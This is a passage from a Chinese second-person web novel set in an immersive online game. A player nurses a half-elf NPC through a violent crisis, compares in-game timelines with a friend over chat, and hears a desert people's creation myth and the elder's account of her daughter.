挣扎间,埃尔维斯一脚踢在床尾,你看着都觉得疼,他却不断用头朝一旁的床柱上撞,双手在浑身上下抓挠着,出血了也恍若无知无觉,只不停地将自己的身体砸在墙壁上。
你试图阻止他,他的力气却大得惊人,直接从床上滚到地板上不断哀号着。
这时你发现,他流在床单上的血竟然自己蠕动了起来,变成了几团之后相互攻击起来,不断融合又分裂。
你大急,想要再灌高级回血药,却被埃尔维斯打翻在地,第二次你强硬地灌了进去,他却丝毫没有好转。
这可怎么办?
你把他双手按住,他却仍然不断地用身体把自己摔在地上。无奈之下你只好把他挪到床上,却发觉埃尔维斯重了不少,费尽功夫才把他安顿好,四肢和身体都牢牢绑在床上固定住。
等做完这一切,你才发现自己急得满头汗。
怎么会这样,刚刚不是好转了吗?
你这时才明白,瓦萨达蒂的“十死无生”和钦黛尔的奇迹意味着什么。
你握着埃尔维斯的指节,心中空落落的。
你本能地想去寻找一些埃尔维斯可以活下来的证明,但却猛然发现现在的任务已经与他无关了。
不,不对,一定可以的。
一定有什么办法。
你脑子转得飞快,如果埃尔维斯没有活下来,自己怎么会接到这个任务呢?
一定有什么,是你所忽视的地方。
床上的埃尔维斯渐渐没有再挣扎了,但他的气息越来越微弱,不用鉴定术也知道他的生命力在飞速流失。
“不!”眼睁睁看着生命在你面前即将离去的样子实在不好受。
对了!
你灵光一闪,突然想起上次任务奖励结算给的道具。
【炼金护身符】佩戴时如受到致命伤害,可保证使用者血量始终不低于1,直至得到治疗。(使用次数3/3)
你从包裹里把护身符取出来,它看上去似乎只是一个有着菱形吊坠的金属项链,连道具特有的、蕴含力量的光芒也没有。
你把这毫不起眼的炼金护身符挂在埃尔维斯脖子上,握着他的手默默祈祷着。
如果真的有神明的话,就让这孩子好起来吧。
他的一生,过得太过艰难了。
或许是炼金护身符发挥了作用,也或许是真的有神明怜惜他的一生太过悲惨,埃尔维斯的气息若有若无,却始终不曾断绝。
当晨光亮起的时候,埃尔维斯终于平稳睡去了,鉴定术也显示状态正常。
你不放心,还额外多等了一个小时,他没有醒来,却也没有恶化的迹象。
你看着青年黑色的长发和睡梦中显得格外冷淡的面容,不自觉露出一个笑容:“果然是你啊,埃尔维斯。”
17. 小巨的推理
你身心俱疲地下线,以为自己熬了一整夜,出游戏舱看了时间才发现原来还是当天晚上。
你有些恍惚,听到妈妈叫你吃饭,才晃晃悠悠地去了。
“想什么呢,魂不守舍的。”妈妈问道。
游戏里身体的疲惫并不会带到现实里,你只是心理上还没缓过来,过了好久才道:“爸妈,我可以当你们的孩子太幸运了。”
妈妈眼睛一红,嘴上却没说话。
爸爸把菜夹到你们俩碗里,只说:“多吃蔬菜。”
快吃完你才想起来问:“小俊走之前又去我房间了?”
妈妈皱了皱眉,道:“他们一家要走的时候我看见他往你房间去了,像是在看你那个游戏舱,一喊他就一溜烟跑了,我又看了一圈好像没少什么东西。”
又问你:“他动你东西了?”
你放下碗,点点头:“他在我写东西的本子上乱涂乱画,还撕了我的笔记本。”
说完你就直接走了,这种事情小叔小婶肯定不当一回事,你没打算让爸妈帮你出头,只要让他们知道一下就行。
今天你准备早点休息,于是早早地去洗澡了。
泡澡跑到一半,手机突然响起来。
昏昏欲睡的你点开一看,是小巨。
第一条就是他发的截图。
小巨:牛啊姐妹!
小巨:你昨天是横空出世,今天就是一骑绝尘了!
小巨:全服第一梯队都被你甩了两级!
小巨:[链接]
小巨:想扒你的帖子都出来了,都在猜你是谁。
小巨:哥们儿愣是一个字也没告诉别人,够意思吧。
隔了半小时,他又发消息。
小巨:打脸了[害羞],刚刚公会里管财务的妹子问我收武器的渠道靠不靠谱,我提了一嘴
小巨:但她已经向我发过誓不会向外面透露你的事情了!
小巨:之前说好的截图你留了吗?
小巨:我肯定是相信你的,但是公会这边还是要走流程,有空跟我们公会财务妹子对接一下?
小巨:有空回下消息哈,真有事找你,江湖救急!
看到这么多条消息,你瞬间感受到了对面小巨的热情。
一时不知道从哪条回起才好,你看了半天,先发了条“谢谢你帮我保密”,正在打下一条,小巨的消息又弹出来了。
小巨:!
小巨:你终于出现了!
小巨:我还以为你嫌我消息太多烦了
小巨:公会妹子刚刚还在嘲笑我被骗了,开玩笑,我是那么没头脑的人么
小巨:我这一双利眼看透太多
你:[笑脸][笑脸][笑脸]
你:图截了,这个就是[图片][图片][图片][图片]
你:这个可以吗?
小巨:!太可以了
小巨:她们看了,认识到了自己的错误,想问问你上次开价是不是认真的
小巨:现在紫武有市无价,你出的还带专属技能的,她们怕你出低了后悔,你再想想要不要抬价
你:真不用了,本来就是我用不到的
你:我不打算专精治疗,也没精力收集配套的箭矢
你:而且你还帮我搭配方案,三百金足够了[蹦跳]
小巨:[感动]
小巨:我去帮你跟她们说~
小巨:对了,今天你升级也是因为奇遇?
小巨:讲讲?
你:奇遇做完了一个章节任务
你:其实有点奇怪,本来我上一个章节任务还没做完,突然弹出来下一个章节的任务,而且一点也不费力就做完了
你:这两天剧情时间过得飞快,绝对不是一比一的时间流速了,我还没进入做任务的状态,有个npc就滔滔不绝地把话都说了
你:要是在奇遇里面,之前那个帖子里要孵二十年的狮鹫蛋半年就破壳了
小巨:全息游戏里面解锁任务的前置剧情不是一定上一环做完了下一环才能来的,可能你恰好触发了关键剧情,就解锁了
小巨:而且你也是先解锁了上一个任务,再解锁它后面的任务,这样也是合理的
小巨:完成的顺序上来讲,就不太好说了
小巨:说不定你已经要解锁下下章节了
你:……其实我也希望这样不费力的任务多来点
你:但今天这样的还是不要了,对npc有点敬谢不敏
小巨:npc怎么了
于是你大致将自己看到和分析出来的钦黛尔剧情讲了一下。
你:她是个非常狂热的宗教人士,虽然自己很厌恶但是还是跟外族人生了孩子,目的是用自己忍受的痛苦来证明她对她信仰的神有多虔诚,还让这孩子长大了实现预言,好证明自己才是对的
小巨:从你的描述来看,我只能说,这个npc大概很关键吧
小巨:一般来说,游戏里越重要的npc,就会有越复杂狗血的感情纠葛
你:……你这么一说好像确实是
你:回去我注意她
你:其实我的关键人物就是她儿子,挺惨一小孩儿
小巨:那你更要注意了,一般来说越靠近主角,就越容易有额外剧情
你:了解![敬礼]
你:每次见到她情绪都很不稳定,这次任务我还奇怪她怎么那么“正常”,后面的剧情又狠狠虐我,响亮地给我名为“不要太早下结论”的一巴掌
小巨:[心疼][心疼][拍拍]
小巨:听你的描述,她很有大反派的潜质
你:[惊讶]
你:……好像也不是没可能
小巨:反正你注意一下没坏处,但是还是得看你那边的剧情,别被我误导了
你:[OK]
小巨:那任务奖励呢?
小巨:有紫武吗?
小巨:用不着我们还可以收哦[期待],来多少收多少,价随便开
你:[图片]建造之法收吗
你:学完能瞬间领会建造房屋工匠的用心哦,真实解读所有部件数据,一比一还原也没问题哦[期待]
小巨:[告辞][抱拳][再见]
小巨:你发的什么,风太大我看不见
你:哈哈哈哈哈哈哈
你:除了钱和经验包就这个了,还出了个绿色群攻法术技能“爆裂”,跟“群伤”差不多的,属性稍微好点
小巨:你拿它换“群伤”?
小巨:换完上次的方案应该也适配
你:没还,商城买了白板绿色套,正好有技能位,嵌上去了
小巨:也行,“爆裂”其实也一般,搭绿色套不浪费,到后期基本上都会被淘汰的
小巨:但是想到你在商城买绿套,我的心就好痛
小巨:现在副本顶多刷个十来次,绿套绝对全了
小巨:这钱花的不太值
你:[哭哭]我这也没有别的办法了
你:你让我再度想起来浪费新手期免费修理次数在新手白板套上的经历[大哭]
小巨:太惨了
小巨:好好做任务吧,多刷几个紫武出来回本
小巨:我们收!
你:如果我真的刷的出来的话[哭哭]
小巨:后面到24级就能解锁连招了,基本上新手期顺利过了,你在奇遇里面的话,就在商城里淘个便宜够用的就行,需要收什么出来再说吧,不然太浪费资源了
小巨:需要什么告诉我一声也行,我天天都上线,顺便帮你留意一下
你:[OK]
你:我现在等级虚高,战斗力跟不上,这个有解决的办法么?
小巨:一个就是提升战斗意识,找对方要害、提升自己控制力,但是这个不是短期能速成的
小巨:再一个就多刷了,多实战,提高熟练度,系统托管的熟练度低和熟练度高差别也很大
你:[OK]
小巨:对了差点忘了
小巨:喊你救急来着
小巨:我一朋友触发解锁新地图的任务了,正好在迷惘沙漠
小巨:你有风沙城地图么,他在那里做任务,看看能不能用上
你:[图片]正好截了
小巨:我发给他
过了一会
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儿小巨才回来。
小巨:他说你的地图没问题
小巨:地图相同的话,你在奇遇里面跟主世界就只是时间线不同吧,你们俩要不要不同时间线相互印证一下,说不定对完成任务有帮助
你:[惊讶]可以吗
你:他那边在做什么任务啊,会不会不方便
小巨:让风沙城跟外界通商,允许外面的人进去
小巨:就是地图探索任务,他恰好撞上了
小巨:肯定不会不方便,反正他也要给npc刷好感
小巨:对你们俩来说,时间线在前的看了后面就知道未来会发生什么了,时间线在后的知道前面发生了什么也会更好入手
你:那也要先知道时间线先后吧
你:地图没问题的话是不是说明时间很近?
你:他那边城中湖有水吗?
小巨:有水,他那边风沙城是在绿洲,到处都是绿植,家家户户养仙人掌
你:我这里风沙城的城中湖,在两年前已经干了
小巨:那你那边是未来的时间线?
小巨:这不太合理吧
小巨:还是证据太少了
你:我觉得我这边是过去
你:给我发任务的npc就是奇遇里面的关键人物,我在主世界碰到他的年纪明显比现在奇遇里的要大
小巨:我问问去
这次过了很久小巨也没回来,你以为他今天不会再回了,洗完澡正要睡的时候手机又亮了。
小巨:问过了,这边的时间线里风沙城是重建的
小巨:原话是“沙民领受祂的神恩之后就一直生活在迷惘沙漠里,你现在看到的城市是那场灾难之后按照原来的样子重建的,但总有一天我们会回到那里”
小巨:[截图]我觉得“按原来的样子重建”这个说法,一定是因为官方懒得再策划一个新城
小巨:你那边受灾然后这边重建,好像也说得过去
看着小巨发来的截图,你感到惊讶极了。
你:截图里面这个瓦萨达蒂是风沙城的首领吗?
小巨:是
你:我这里的风沙城首领也是瓦萨达蒂!
你:但是要年长很多
小巨:难不成你真的是在未来线?
你:可是我没听瓦萨达蒂提以前有过灾难和重新建城,她一直说的都是城中湖的事
小巨:还有一种可能就是同名
小巨:不过我觉得概率很低,游戏里npc就算同名也会加个“小xxx”的前缀或者“xxx二世”的后缀来区别,不然光发任务指代不明就容易出bug
你:越来越迷惑[蚊香眼]
小巨:我们暂定这个瓦萨达蒂是同一个人,按瓦的年龄来看就是他前你后,按照你那个关键人物的年龄来看就是你前他后
小巨:如果瓦不是同一个人,那么很可能你们根本就是平行世界,地图相同纯粹官方一城多用了
小巨:看来你俩印证不成了,怎么看都相互矛盾
你:那我的关键人物怎么解释
小巨:估计写的剧情支线吧,就是这个人物成长的不同可能
小巨:我觉得既然有玩家介入,你那个奇遇又只能触发一次,没有攻略你不可能每次都恰好选对,很可能后面你的关键人物不会成为给你发任务的人
你:[蚊香眼][蚊香眼][蚊香眼]
小巨:我说的有点绕了,意思就是官方为了保证主世界设定统一,最大的可能就是写不同剧情支线
小巨:我们现在探索地图的任务就是这样,走不同的支线到后面完全就是平行世界了
你:听完我更迷惑了……
小巨:全息游戏嘛,又没有现成的攻略,迷惑才是我们的日常[奋斗]
小巨:你回去就多留心吧,研究一下到底是哪种情况,这还挺有意思的
你:好的[抱拳]
听完小巨的话,你躺在床上自己分析了半天,怎么分析都不能得出一个完全合理的结果。
“怎么越想越迷惑,越迷惑越睡不着!”你摇摇头,赶紧放空自己,打算第二天上线再好好找找线索。
18. 借口
登录之后,你出现在神殿的房间里。
外面悄然无声。
佩莉姆和加米拉姐妹一向很少言,早中晚都按时静坐祈祷。据说她们俩从会说话开始一直坚持到了现在,从这十几年的时间跨度来看,钦黛尔说她们不够虔诚完全是在恶语中伤。
你进到隔壁的房间一看,埃尔维斯还没醒。
神殿素白的枕头微微凹下去,他的头发长至腰际,全部散落在身下,而他自己则将双手交叉在腹部,睡着的样子平静而乖巧。
怎么会有这样的人呢?
你坐在神殿的地板上,枕在他的床沿,歪着头用手指卷起他的发尾。
他新生的黑发格外顺滑。
一不留神就会从指缝里溜走了。
这样令人着迷的触感让你一时忘记了,这样未经允许将别人的头发拿在手里把玩的行为,也是不符合你平时对于自身礼貌要求的一种。
你只想着怎么抓住这一缕顽皮的头发。
关于他的种种在你脑海中过了好几遍,他害羞地从你手里接过白布把自己裹成一团,他结结巴巴地撒着不流畅的谎,他时刻透露着谨慎的机警的眼睛,他在那片狭窄而阴凉的光明之下固执的侧脸……
还有模糊不清的青年垂钓的背影,以及来到这里之后,他沉默而回避的每一次。
从某个角度来说,他很像钦黛尔。
你也不清楚他什么时候醒的。
当你察觉到有别的视线,就对上了那样一双棕色的眸子。
他侧着头,下颌微收,带着几分茫然,扑簌着长睫似醒非醒地望着你。
你僵了一瞬,余光瞟见自己手里还捏着他的一缕黑发,于是抿出一个笑容回视他,同时张开手指,不去看从掌心溜走的那一撮头发。
“你醒啦!感觉怎么样?”
看着少女挥舞在眼前的指节,埃尔维斯一时不知自己是否清醒着,他垂下眼眸,想要开口说些什么,喉咙里却发不出声音。他抬手摸摸自己的喉咙,却发触觉感有些陌生。
埃尔维斯将手掌举到眼前,在空中翻覆着,又将手贴到脸颊两侧。
是真的!
你看着猛然坐起身的埃尔维斯,上前扶住他的肩头:“你才刚醒,起这么急容易头晕的。”
“有镜子吗?”他的音色比起之前低沉了很多。
“什么?”你一时没反应过来。
“镜子。”他重复道,“我想看看我自己。”
镜子?
你确实没在神殿见过类似的物品,加米拉和佩莉姆又正在静坐,一时间不好去打扰她们。
左右打量了一圈,你想了想,问:“那边的花窗应该是可以反光的,要不要我扶你过去?”
等埃尔维斯点头答应了,你搀扶着他起身过去。
神殿的房间陈设简朴,只有一些基础的木制家具和素色用具,但窗子似乎是例外。每一扇玻璃窗都带着均匀的水波弧纹,窗面上所绘的红色扇形花瓣错落有致,上密下疏,折射的光芒随着观察的角度变化而变化着,仿佛是裁剪了一幅暮春的画卷在此,经过的人却担忧惊扰了这群停驻在玻璃花窗上的红色蝴蝶。
现在的埃尔维斯比你要高,但你仰着头,清楚地从花窗的反射中捕捉到了他眼中期待破碎的一瞬。
那双温暖的棕色眸子就在那一瞬间暗淡了。
因为耳朵。
成年妖精的尖耳并不难看,比起幼年时期的小巧形状,它们更增添了几分灵动。
——但头发已经藏不住它们了。
你用力托着埃尔维斯的胳膊,扶着摇摇欲坠的他站稳。
你不知道钦黛尔具体做了什么,但从瓦萨达蒂的话中不难推测出这件事有多凶险。你更是亲眼见过埃尔维斯挣扎时的痛苦,他这样一个生性谨慎而忍耐的人,在地上翻滚着、嘶吼着伤害自己的身体。你见过他的狼狈不堪,你以为你已经了解了这对母子不为人知的故事,但你这时才领悟到,埃尔维斯或许是自愿的。
钦黛尔疯狂地消耗着自己,将对伤害的忍耐视为虔诚。
难道她不会因身体和心灵的受伤而痛苦吗?
不是的。她也是有血有肉的,不论她承不承认,她的身体不能超脱这世间的规则,皮肤被割开,会痛,血流多了,会死。
很明显,她只是给自己找了一个借口,告诉自己只要忍耐就是虔诚的,就像所有人相信着朴素的因果报应论,这没什么道理,但是她愿意这样相信。
她着魔一样地想要证明自己的虔诚,而对于自己的孩子,她也要给自己找一个借口——她不是因为自己的遭遇产生了恶意,进而厌恶这个孩子。
那是为什么呢?因为她是一个虔诚的信徒,而这孩子的身体里流着异教徒的血。
这对于一个排外的宗教信仰者来说,似乎是一件很自然的事情。
血是他们力量的来源,他们崇拜纯血,厌恶混血,天然如此。
钦黛尔把自己的思想折叠了形状,完美地依托在教义之下。
——教义不允许这样的厌恶,那么我的厌恶就不是因我自己而产生,一切都是因为埃尔维斯自己。
你想钦黛尔一定是这样告诉自己的,她或许重复了无数遍,不停地让自己麻木起来。
事实真的是这样吗?
除了钦黛尔没人知道。
她大约也是这样告诉埃尔维斯的。
埃尔维斯相信了。
所以他才会那么用心地遮掩自己与众不同的耳朵。
所以他才会在神殿上一声不吭,顺从钦黛尔的说辞。
所以他才会在清醒过来的第一时间,想要看看自己的那双耳朵。
你清楚地听到他呜咽了一声,像某种受伤的小兽,但只有一声,他就像一株植物那样安静了下来,低着头,任由阴影笼罩着自己的面容。
像他一贯那样。
看着蜷缩在床上、用被子蒙着头的埃尔维斯,你的心情复杂极了。
希望落空是一件残忍的事,但恐怕还有更残忍的落在后面——钦黛尔还没见过醒来的埃尔维斯。
毫无疑问,埃尔维斯非常在意钦黛尔,孩子总是眷恋着自己的母亲,即便他被所有人无视,他也愿意一再在人前为钦黛尔解围。
不只是
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钦黛尔,埃尔维斯也需要这个借口——相信这个借口总比相信自己的生身之母天然地厌恶着自己要容易一些。
没有人希望自己生来带着原罪,或许埃尔维斯真的期待着自己能变成纯血的沙民。
他只有这样期待,才能忍耐母亲对自己的冷酷。
期望落空之后,又该怎么办呢?
你垂下眼眸,发觉自己无法做些什么。
一切的琐碎在此刻都串成了珠链。
埃尔维斯的痛苦正是最后一环。
你终于找到了系统任务之外的细节,但你无能为力。
“好好休息吧。”对着埃尔维斯的背影,你最终只能说出来这样一句干巴巴的话。
关上门退出房间,你的心情极为沉重,不自觉顺着走廊一路向前,等反应过来的时候,你已经走到神殿的大殿里了。
神殿的大门掩着,透不进来一丝光,只有大殿内的烛台,无声无息地燃烧着,昏黄的光芒使得整座大殿都被一层朦胧所笼罩。
你抬起头,正对上穹顶上那副壁画。
升级的鉴定术也检测不出来什么,比之前只多了“两百年前最优秀的沙民画匠所绘制,作画的颜料中蕴藏着特殊的力量,经年不坏”一行字。
那团白色的光芒占据了最大的篇幅,却不知代表着什么。
你看得入了神,站到腿脚发麻才回过神来。
鬼使神差般,你再度抬起头,目光却从这团光芒上移开,聚焦在画面中那块被举起的红色物体之上。
这时你才注意到,这团红色比起画面中女子的红发要更加鲜艳,明明是整幅画面中最容易引起注意的颜色,你却发觉自己几乎不曾留意这部分。
盯着久了,鉴定术又多出来一行字——“沙民的血液所绘,蕴藏着特殊的力量,经年不坏”。
之前你见识过埃尔维斯和普尔伽什运用自己的能力,如果沙民对血的运用还能当做某种特殊天赋能力来解释的话,这里的“经年不坏”却明显不符合血液的特性了。
你心中一寒,立刻收回视线不再观察壁画。
——或许真的有什么在注视着这里。
你的脑海里突然出现这样的想法。
一直以来,你只将沙民们的信仰用现实中的宗教概念来理解,作为一个无神论者,你先入为主地走到了意识的盲区,你不觉得“祂”是真实存在着的,也不相信超自然的力量。
但试想一下,新世界这个游戏有着远超同类全息游戏的拟真度水平的同时,游戏的世界观之中,人类从来不是唯一的高智慧生物。
假如,游戏的设定之中,真的有这个“祂”的存在呢?
那么在这个游戏中,作为“祂”的使者的你,究竟会遭遇一些什么呢?
想到这里,不知为何出了一身的汗,你甩甩头,不再细想下去。
“想多了吧,应该不会吧……”
你这样告诉自己。
或许是任务推进到关键环节,线索还是缺少了一环。
你想起小巨的推理,决定去找瓦萨达蒂一问究竟。
或许这次能解开你的疑惑。
19. 少女
风沙城中有着无数条曲曲折折的小径,这些道路中间的土壤往往被人踩得十分紧实,只有路旁靠着土墙的阴影里偶尔长出几棵生命力顽强的枯黄杂草。但这里也有面貌不大相同的路——风沙城的主干道,这条南北走向的路贯穿全城,正是整座风沙城的中轴线,路面全部由大小相近的矩形石砖铺就,给人的第一印象就是干净、整洁。
地图上显示你是由正北门入城的,而神殿坐落于风沙城的东北角,四周空旷,远处也没有高大的建筑,眺望四周,目力所及处都显得格外荒芜。
上一次你独自出来,整条大街上只看得到巡逻的卫士,行人极少,因此你一开始将风沙城的状况往最坏的方向预估。
但现实或许并非如此。
你从神殿出来,一路跟着系统提示的小地图去寻找瓦萨达蒂,但当你越靠近风沙城的主干道,音乐和欢呼也越发响亮。
你的脚踏上方块砖的一瞬间,耳朵里便只剩下了欢快的乐声。人们三五成群地走在一起,每个人面纱之下都是一双笑眼,大人们手中提着编织的篮子,将红色的叶片随手撒下,顽皮的小孩子们追逐打闹着,一拥而上争抢着空中飘散着最红的那一片,而当这些叶子落在地上后,他们中间爆发出一阵明快的笑声,又踩着叶片继续追逐着向前了。
你第一次见到这种场面,耳朵里充斥着各种声音,不禁有些恍惚,只好被人流簇拥着,随波逐流地跟着人群走。
人实在是太多了,完全挤不出去!
周围人看见你与众不同的发色和瞳色,大多投来好奇的眼神,你也看见有人在指指点点,一边打量你一边讨论着些什么。
你有些尴尬,但你可以察觉到包围着你的善意和真诚更多,自己心理建设了两次,便不再留意那些叫人不舒服的眼神。
“当心!”你眼疾手快,捞起擦着你跑过去却即将摔倒的小孩儿。
“谢谢!”她像是也吓了一跳,站稳之后才回过头向你道谢。
“呀!”小女孩有一双葡萄一样清澈灵动的眼睛,她的脸一下子红了,惊呼道,“是神使大人!”
周围的人们善意地笑起来。
大人们大约早就注意到了,但外在的行动都不约而同地停留在眼睛格外留意的程度。
小孩子们不一样,他们个子小,奔跑着在人群中穿行的时候几乎不会抬起头打量周围的状况。
小女孩一注意到你,就表现得很惊讶,她像是跃跃欲试,让你不禁后退了一步,准备接好可能会扑过来的小姑娘。
但出乎意料,她虽然一直将视线粘在你身上舍不得挪开,行动却格外矜持。小女孩站在原地,展开自己的头巾后,朝你双手合十,她向你欠身道:“感谢神使大人,您的恩德我将铭记在心。”
这一次的道谢比起第一次要正式得多。
她还是红着脸,显得很激动,水汪汪的眼睛看着你,叫人没法不心软。
周围的人们很显然也是一样,他们都特意绕开停在路中间的小女孩,用眼神给她鼓励。
你笑着牵过她,说了声不用谢。小姑娘却突然转身朝后跑去,很快消失在人群中。你等了一会儿,也没见到她回来,正当你准备继续跟着人群向前时,却突然被叫住了。
“神使大人!请等一等!”
你回过头,正是刚才的小女孩。
她的脸蛋红扑扑的,大幅度地喘着气,额角还有几滴汗水。
她朝你伸出手,将一串红色植物编成的手环递给你:“这个送给您。”
“这是什么?”你有些好奇,那手环像是某种水藻编成的,红得纯粹而艳丽,细小的叶片上还带着晶莹的水珠。
“是我早晨从血色泪湖里采来的!”她有些紧张,担心你不想收下。
“请您收下吧!”一位身着白袍的妇人走上前来,揽住小女孩的肩膀,解释道,“这是这孩子的心意。”
于是你低下身,笑着接过了手环,并对小女孩道谢一番。
那位妇人白袍上精致的银色刺绣在阳光下熠熠生辉,她也有一双明亮的眼睛,此时正冲着你微笑:“感谢您!赞美您!您的降临让希望重新回到风沙城了。”
这句话像是提醒了人们,大家纷纷涌上前,选出形态优美的红色水藻扔进你怀里,编好的手环和红色的绳结你也收到了一大堆。
你尽力微笑着回应并道谢,很快两只手就拿不下了,最后不知道是谁递给你一个提篮,这才装下了所有的东西。
等跟随着人群走到了终点,你才终于松下一口气,看一眼系统地图,现在正位于风沙城西南一隅,离上次出来找埃尔维斯时遇见瓦萨达蒂等人的地方不远。
你打量四周,这里像是广场一类的地方,前方有几块平整的石头垒成的高台,下面的场地上,围绕着高台从里向外划分出几块圆弧状的区域来。
人们在地面上垫上自己带来的坐垫,纷纷找到位置后坐好了。你观察了一下,基本上女人都在靠前的位置,带着小孩的妇女位于最前排,向后依次是年老的女性、年轻的女性和男性。
有些奇怪的是,女性们几乎都可以用肉眼从面庞上分辨她们大致的年龄段,但男人们却几乎看不到格外年迈的,外表普遍处于青年期或中年期。
你在边缘找了个不远不近的位置坐下,一抬头正对上刚才的小女孩,她和方才那位妇人一起坐在靠前的位置,应该留意了你很久,一见你抬头便冲你微笑和招手。
你也回应她,等转回头,人群已经彻底安静下来了。
普尔伽什扶着瓦萨达蒂坐在高台正中央,她自己坐在右侧。高台下紧贴着的位置,坐着两名眼熟的男性,鉴定术提示你是初到风沙城时出现过的班哈杜和达尔勒穆。
瓦萨达蒂和普尔伽什都留意到了你,她们朝着你的方向微微点头致意,你同样点头回应。
接下来,瓦萨达蒂便坐定了开始讲经。
其实你并不清楚她讲述的内容是不是“经”,但她此时的状态显然和你在现实中见过的一些宗教场合很像。首先由普尔伽什主持,两人做了一套固定的仪式,然后瓦萨达蒂说了一些类似赞美的吉祥语,讲述了一遍祂神在人间的经历,又解释教义中的部分段落该如何理解和践
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行,最终以瓦萨达蒂和下面人群的问答释疑作结。
你最开始只觉得新奇,但渐渐地却被瓦萨达蒂讲述的内容吸引了。你当然不是被这教义感动了,只是瓦萨达蒂讲述的祂神在人间的经历中,有些部分令你格外在意。
在瓦萨达蒂的描述中,这里的世界原本只是一片虚无,祂神在经受了巨大的伤害后来到了这里,此地的荒芜引起了祂悲痛的内心的共鸣,于是祂神舍弃了自己的□□,使其成为万物的养分,又抛下自己的心脏,使其成为世间万物的载体。但即便是祂神的心脏,也是格外脆弱的,这心脏落地时便碎成了两瓣,小的一半成为西大陆,大的一半成为东大陆。
因为世间的万物都生活在祂神跳动的心脏之上,因此祂是全知全能的,这世间的一切都无法逃脱祂神的法眼,他看见一切罪恶,也记住一切善行,人人皆以善恶定结局。
祂神在创造了这方世界之后,身心俱疲,祂从东大陆跋涉到西大陆,祂走过极东之山时,将自己灵魂的一片放置于此。祂经过千霜雪山时,突然产生了一个预感,但祂神并没有因此被左右,仍旧坚定地向着西大陆前行。等来到隔开东西两片大陆的悲泣之湖时,祂神已经预言到了自己的未来,祂将自己的力量全部放在悲泣之湖湖底,因此悲泣之湖有了巨浪和大雾,未经允许之人不可穿越。等走到迷惘沙漠时,祂神再也走不动了,祂落下的一滴血泪变成了血色泪湖,而这里被祂神眷顾的居民,从此就有了掌控血液的力量。
沙民们定居在迷惘沙漠,是为了留在祂神的长眠之地,也是为了报答祂神的恩情,遵守祖先对祂神的诺言看顾血色泪湖。虽然沙漠之中气候恶劣,但沙民们依旧坚守于此,千百年过去也始终铭记并赞美祂神的功绩。祂神为了让沙民们能够生存下去,赐予了沙民绿色之心和风沙城,只要有这两样东西在,沙民们就一定会绝境逢生,即便风沙城数度被沙暴毁去,但沙民们仍然能在原地建立起一座相同却是崭新的风沙城。
通过瓦萨达蒂的讲述,你对外面不曾探索过的游戏大世界有了更深入的认识,同时了解了任务重的绿色之心之于沙民的意义。
你想起小巨提起的过去线和未来线的推理,心中仿佛隐约捕捉到了真相显露出来的一角。
在瓦萨达蒂讲述的沙民的历史之中,虽然可能有大量想象的部分,但不难判断出风沙城是真的曾被毁去过又新建起来。
那么,如果你真的身处于未来线之中,这里的一切就只是可能发生的一种幻影吗?
坐在这里的我,所做的一切真的有意义吗?
毕竟未来线只是可能发生的一种情况,主世界究竟走向何方谁也说不准。
你不禁思考起来,自己究竟为什么会被带到这里做起奇遇。
成年的埃尔维斯又该如何解释呢?瓦萨达蒂在主世界线里提到的“总有一天会回到那里”指的又是什么呢?
一连串的疑问在你心中发酵起来。
这一切仿佛是一张巨大的网,落在其中的你被埃尔维斯、风沙城、绿色之心和沙民们包围着,大家都看不清前路,却也无法挣脱。
20. 忏悔
瓦萨达蒂的讲经结束了,人们依次退场,你留意到是靠前排的人先走。但最前面的普尔伽什、班哈杜等人都没动,等人几乎走光了,他们才扶着瓦萨达蒂走下高台。
你主动走上前去,按照加米拉姐妹教你的,双手合十朝瓦萨达蒂打招呼,瓦萨达蒂走近了,也还了你一个一模一样的礼,普尔伽什等人则止步在她身后三步的位置。
“我看得出来您有疑惑。”瓦萨达蒂看上去就像一位慈祥的长者,她的红袍在风中猎猎作响,“您的眉间有着深深的印记,如果可以,瓦萨达蒂愿意为您解惑。”
你想了想,问道:“风沙城被摧毁过?”
“是的。”瓦萨达蒂低头道,“风沙城曾经三度被毁去,又三度被重建,我见过她最近一次在原地死而复生的样子。有祂赐予的绿色之心,祂的子民从不会畏惧和迷惑,但现在绿色之心被抢走了,沙民们正处于一个格外艰难的时刻,如果不是您的到来,所有人都会丧失希望了。”
“可我能够感受到,沙民的信仰还是很坚定。”你眨了眨眼。
“是啊。”瓦萨达蒂脸上浮现出一股坚毅之色,“信仰就是我们的一切,我们的生活已经无法与之分割了,即便我们真的没有了一丝希望,到了最后一刻,信仰也会是我们最后的墓志铭。”
虽然不理解,但你为瓦萨达蒂话中的坚定动容。
绿色之心之于沙民,重如泰山。
你到了这一刻,真正知晓了任务的意义,真正拥有了去做到这一切的动力。
这任务背后,不只是一颗罕见的沙漠之心,而是这一座城中每一个渴望着明天的生命。
又过了几息,看着依旧在原地等待你发问的瓦萨达蒂,你还是忍不住开口:“埃尔维斯活下来了。”
但你没有在瓦萨达蒂眼中看到丝毫喜悦,她的脸仍然是那样愁苦,只道:“是您的恩泽庇佑了他。”
“钦黛尔呢?”你又问,“她和埃尔维斯的事,也属于您可以为我解惑的范围吗?”
瓦萨达蒂的回答是欠了欠身:“只要您想知道,瓦萨达蒂知无不言。”
——————
低矮的小几上摆着两碟肉干,银质的盘子边上搁着一把切肉的小刀,刀柄上嵌着红色的不规则碎宝石块。
肉干跟神殿里双胞胎姐妹拿出来的味道差不多,你礼貌性地尝过一口,便不再动了。
从地图的提示来看,上次差点被瓦萨达蒂和普尔伽什发现的位置就在附近。
瓦萨达蒂又取出两只陶制的水杯和一个小壶,往你面前那只里添满了,茶水里红色的细小叶片起起伏伏,看形状应该是刚才见过的那些藻类。
你端起来,送到面前,并不好闻,尝一口,水中还带着说不清道不明的一点苦涩。
“我想知道钦黛尔的事情,不知道为什么,我很在意。”放下杯子你才开口。
瓦萨达蒂依旧端坐在小几另一侧,声音却越飘越远了,她垂目道:“您已经知道了,钦黛尔,是我的女儿。”
“她父亲去世得很早,而我,一开始也不知道该如何做好一个母亲。”
“但即使遇到我们这样的父母,她还是成为了一个很好的孩子。或许您会发笑,但在我看来,至少曾经的钦黛尔是这样的。”
“她是沙漠里最明艳的花朵,风沙城里所有见过她笑容的人都会比我这个母亲更疼爱这个孩子。她个性开朗大方,天资出众,又生得漂亮,没有人不爱她。”
